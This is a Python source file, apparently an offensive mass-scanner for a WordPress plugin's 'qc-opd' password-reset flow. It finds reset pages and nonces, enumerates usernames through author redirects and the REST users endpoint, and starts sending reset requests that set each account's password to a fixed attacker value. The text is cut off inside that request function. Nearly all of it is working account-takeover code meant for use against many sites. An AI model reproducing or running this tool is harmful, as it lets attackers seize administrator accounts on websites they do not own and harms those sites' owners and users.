1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# By: Nxploited
# GitHub: https://github.com/Nxploited
# Telegram: @KNxploited
import os
import re
import sys
import time
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Set, Tuple
from urllib.parse import urlparse, urljoin
import requests
import urllib3
try:
from colorama import Fore, Style, init as colorama_init # type: ignore
colorama_init(autoreset=True)
except Exception:
class _C:
RESET = ""
RED = ""
GREEN = ""
YELLOW = ""
CYAN = ""
MAGENTA = ""
BLUE = ""
WHITE = ""
Fore = _C()
Style = _C()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
RESET_PAGES = [
"restore",
"reset-password",
"forgot-password",
"password-reset",
"recover-password",
"restore-password",
"lost-password",
"account-recovery",
"recover-account",
"set-new-password",
"change-password",
]
EXTRA_PAGES = [
"",
"login",
"signin",
"my-account",
"account",
"profile",
"member",
"members",
]
FIXED_PASSWORD = "newhackerpass123"
RESULT_FILE = "scan_results/reset_mass_success.txt"
BANNER_CORE = [
" _ _ _ _ _ _ _ _ _ ",
" / \\ / |_ __ ) / \\ ) |_ __ |_|_ (_| (_| / \\ /| ",
" \\_ \\/ |_ /_ \\_/ /_ _) | | | \\_/ | ",
" ",
]
AUTHOR_LINE = "By: Nxploited | GitHub: https://github.com/Nxploited | Telegram: @KNxploited"
TITLE_LINE = "WordPress qc-opd Reset Flow Scanner"
def print_banner() -> None:
os.system("cls" if os.name == "nt" else "clear")
# حافة كاملة للمربع بالكامل
width = 67 # عرض داخلي مريح لكل الخطوط
top_border = "╔" + "═" * width + "╗"
mid_border = "╟" + "─" * width + "╢"
bottom_border = "╚" + "═" * width + "╝"
print(Fore.GREEN + top_border + Style.RESET_ALL)
# سطر العنوان الأكبر
title = TITLE_LINE.center(width)
print(
Fore.GREEN + "║" + Style.RESET_ALL +
Fore.MAGENTA + title + Style.RESET_ALL +
Fore.GREEN + "║" + Style.RESET_ALL
)
# فاصل هادئ
print(Fore.GREEN + mid_border + Style.RESET_ALL)
# شعار ASCII
for line in BANNER_CORE:
padded = line.center(width)
print(
Fore.GREEN + "║" + Style.RESET_ALL +
Fore.CYAN + padded + Style.RESET_ALL +
Fore.GREEN + "║" + Style.RESET_ALL
)
# فاصل آخر
print(Fore.GREEN + mid_border + Style.RESET_ALL)
# سطر الكاتب والحسابات
author = AUTHOR_LINE.center(width)
print(
Fore.GREEN + "║" + Style.RESET_ALL +
Fore.YELLOW + author + Style.RESET_ALL +
Fore.GREEN + "║" + Style.RESET_ALL
)
print(Fore.GREEN + bottom_border + Style.RESET_ALL)
print()
def now_hms() -> str:
return time.strftime("%H:%M:%S")
def format_site_status(
base: str,
nonce_status: str,
reset_status: str,
access_status: str,
color: str,
) -> None:
line = (
f"[{now_hms()}] "
f"[{base}] "
f"NONCE: {nonce_status:<4} | "
f"RESET: {reset_status:<4} | "
f"ACCESS: {access_status}"
)
print(color + line + Style.RESET_ALL)
def log_note(msg: str) -> None:
print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}")
def log_warn(msg: str) -> None:
print(f"[{now_hms()}] {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")
def log_err(msg: str) -> None:
print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}")
def log_done(msg: str) -> None:
print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}")
def split_wp_base(url: str) -> Tuple[str, str]:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "https://" + url
parsed = urlparse(url)
base_host = f"{parsed.scheme}://{parsed.netloc}"
path = parsed.path or "/"
if path == "/":
return base_host, ""
return base_host, path.rstrip("/")
def build_wp_url(base_host: str, wp_base: str, path: str) -> str:
if not path.startswith("/"):
path = "/" + path
full = (wp_base + path).replace("//", "/")
return base_host + full
def build_session(timeout: int) -> requests.Session:
s = requests.Session()
s.verify = False
s.headers.update({
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/121.0.0.0 Safari/537.36"
),
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Accept-Language": "en-US,en;q=0.9",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
})
adapter = requests.adapters.HTTPAdapter(
pool_connections=50,
pool_maxsize=50,
max_retries=1
)
s.mount("http://", adapter)
s.mount("https://", adapter)
return s
def extract_qc_opd_nonce_from_js(body: str) -> Optional[str]:
if not body:
return None
m = re.search(
r'["\']action["\']\s*:\s*["\']qc-opd["\'][^}]+["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\'][^}]+["\']action["\']\s*:\s*["\']qc-opd["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'(?:qc[_-]?opd[_-]?nonce|qcOpdNonce)\s*=\s*["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'(?:qc[_-]?opd|qcOpd)\s*=\s*\{[^}]*["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
snippet_regex = re.compile(r'.{0,120}qc-opd.{0,120}', re.IGNORECASE | re.DOTALL)
for snip in snippet_regex.findall(body):
m2 = re.search(r'["\']([0-9A-Za-z]{8,20})["\']', snip)
if m2:
return m2.group(1)
return None
def extract_wpnonce(body: str) -> Optional[str]:
if not body:
return None
m = re.search(
r'name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'id=["\']_wpnonce["\']\s+name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'_wpnonce["\']\s*value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'name=["\']_wpnonce[_-]?qc[-_]?opd["\']\s+value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'id=["\']qc-opd-nonce["\'][^>]*value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
js_nonce = extract_qc_opd_nonce_from_js(body)
if js_nonce:
return js_nonce
return None
def page_contains_sld_and_form(body: str) -> bool:
if not body:
return False
low = body.lower()
if "sld" not in low:
return False
if "_wpnonce" not in low:
return False
if 'name="action"' in low and 'value="restore"' in low:
return True
if "<form" in low and 'name="_wpnonce"' in low:
return True
return False
def extract_internal_links(body: str, base_url: str, max_links: int = 20) -> List[str]:
links: List[str] = []
if not body:
return links
try:
host = base_url.split("://", 1)[1].split("/", 1)[0]
except Exception:
host = ""
for m in re.finditer(r'href=["\']([^"\']+)["\']', body, flags=re.IGNORECASE):
href = m.group(1)
if href.startswith("#"):
continue
full = urljoin(base_url, href)
parsed = urlparse(full)
if parsed.scheme not in ("http", "https"):
continue
if host and host not in (parsed.netloc or ""):
continue
if full not in links:
links.append(full)
if len(links) >= max_links:
break
return links
def find_reset_page_and_nonce_expanded(
sess: requests.Session,
base_host: str,
wp_base: str,
timeout: int,
) -> Tuple[Optional[str], Optional[str]]:
tried: Set[str] = set()
def try_url(url: str) -> Tuple[Optional[str], Optional[str]]:
if url in tried:
return None, None
tried.add(url)
try:
r = sess.get(url, timeout=timeout, allow_redirects=True)
except Exception:
return None, None
if r.status_code != 200:
return None, None
body = r.text or ""
if not page_contains_sld_and_form(body):
return None, None
nonce = extract_wpnonce(body)
if nonce:
return r.url, nonce
return None, None
for slug in RESET_PAGES:
slug = slug.strip("/")
for variant in (f"/{slug}/", f"/{slug}"):
url = build_wp_url(base_host, wp_base, variant)
page_url, nonce = try_url(url)
if page_url and nonce:
return page_url, nonce
for slug in EXTRA_PAGES:
slug = slug.strip("/")
path = "/" if slug == "" else f"/{slug}/"
url = build_wp_url(base_host, wp_base, path)
page_url, nonce = try_url(url)
if page_url and nonce:
return page_url, nonce
home = build_wp_url(base_host, wp_base, "/")
try:
rh = sess.get(home, timeout=timeout, allow_redirects=True)
except Exception:
return None, None
if rh.status_code == 200 and rh.text:
base_for_links = rh.url
links = extract_internal_links(rh.text, base_for_links, max_links=25)
for link in links:
page_url, nonce = try_url(link)
if page_url and nonce:
return page_url, nonce
return None, None
AUTHOR_PATTERN = re.compile(r"/author/([^/]+)")
AUTHOR_BODY_PATTERNS = [
re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I),
re.compile(r"/author/([a-z0-9_\-]+)/", re.I),
re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I),
re.compile(r'"username":"([a-z0-9_\-]+)"', re.I),
]
def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]:
users: Set[str] = set()
for i in range(1, max_i + 1):
try:
u = f"{root_url}/?author={i}"
r = sess.get(u, timeout=timeout, allow_redirects=False)
if r.status_code in (301, 302):
loc = r.headers.get("location", "") or r.headers.get("Location", "")
m = AUTHOR_PATTERN.search(loc)
if m:
users.add(m.group(1))
r2 = sess.get(u, timeout=timeout, allow_redirects=True)
if r2.status_code == 200 and r2.text:
body = r2.text
for patt in AUTHOR_BODY_PATTERNS:
for x in patt.findall(body):
users.add(x)
except Exception:
continue
return users
def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]:
users: Set[str] = set()
api = root_url.rstrip("/") + "/wp-json/wp/v2/users"
try:
r = sess.get(api, timeout=timeout)
except Exception:
return users
if r.status_code != 200:
return users
try:
data = r.json()
except Exception:
return users
if isinstance(data, list):
for entry in data:
if isinstance(entry, dict):
for key in ("slug", "username", "name"):
v = entry.get(key)
if v:
users.add(str(v))
return users
def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]:
sess = build_session(timeout)
root = build_wp_url(base_host, wp_base, "/")
users: Set[str] = set()
users.update(enum_by_author(sess, root, timeout, max_i=10))
users.update(enum_by_rest(sess, root, timeout))
parsed = urlparse(root)
host = (parsed.netloc or "").split(":")[0].lower()
if host.startswith("www."):
host = host[4:]
first_label = host.split(".")[0]
if first_label and len(first_label) > 2:
users.add(first_label)
users.add("admin")
users = {u for u in users if u and 2 < len(u) < 50}
if not users:
users = {"admin"}
return sorted(users)
def send_reset_for_user(
sess: requests.Session,
page_url: str,
username: str,
nonce: str,
timeout: int,
) -> bool:
data = {
"qc-restore-pwd": "restore",
"qc-restore-pwd-type": "user",
"qc-uid": username,
"pass": FIXED_PASSWORD,
"_wpnonce": nonce,
|